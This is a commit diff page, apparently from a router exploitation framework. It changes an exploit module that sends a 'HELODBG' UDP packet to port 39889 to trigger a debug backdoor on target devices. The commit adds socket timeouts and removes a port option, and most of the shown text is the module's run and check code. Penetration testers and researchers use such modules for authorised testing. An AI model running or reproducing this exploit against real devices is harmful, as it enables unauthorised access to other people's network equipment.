Commit 3ba73ba6 by Marcin Bury

Adding connection timeout and removing port option

parent 27168c10
...@@ -31,13 +31,14 @@ class Exploit(exploits.Exploit): ...@@ -31,13 +31,14 @@ class Exploit(exploits.Exploit):
} }
target = exploits.Option('', 'Target address e.g. 192.168.1.1') target = exploits.Option('', 'Target address e.g. 192.168.1.1')
port = exploits.Option(80, 'Target Port')
def run(self): def run(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(10.0)
print_status("Sending backdoor packet...") print_status("Sending backdoor packet...")
response = ""
try: try:
sock.sendto("HELODBG", (self.target, 39889)) sock.sendto("HELODBG", (self.target, 39889))
response = sock.recv(1024) response = sock.recv(1024)
...@@ -61,6 +62,7 @@ class Exploit(exploits.Exploit): ...@@ -61,6 +62,7 @@ class Exploit(exploits.Exploit):
@mute @mute
def check(self): def check(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(10.0)
try: try:
sock.sendto("HELODBG", (self.target, 39889)) sock.sendto("HELODBG", (self.target, 39889))
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment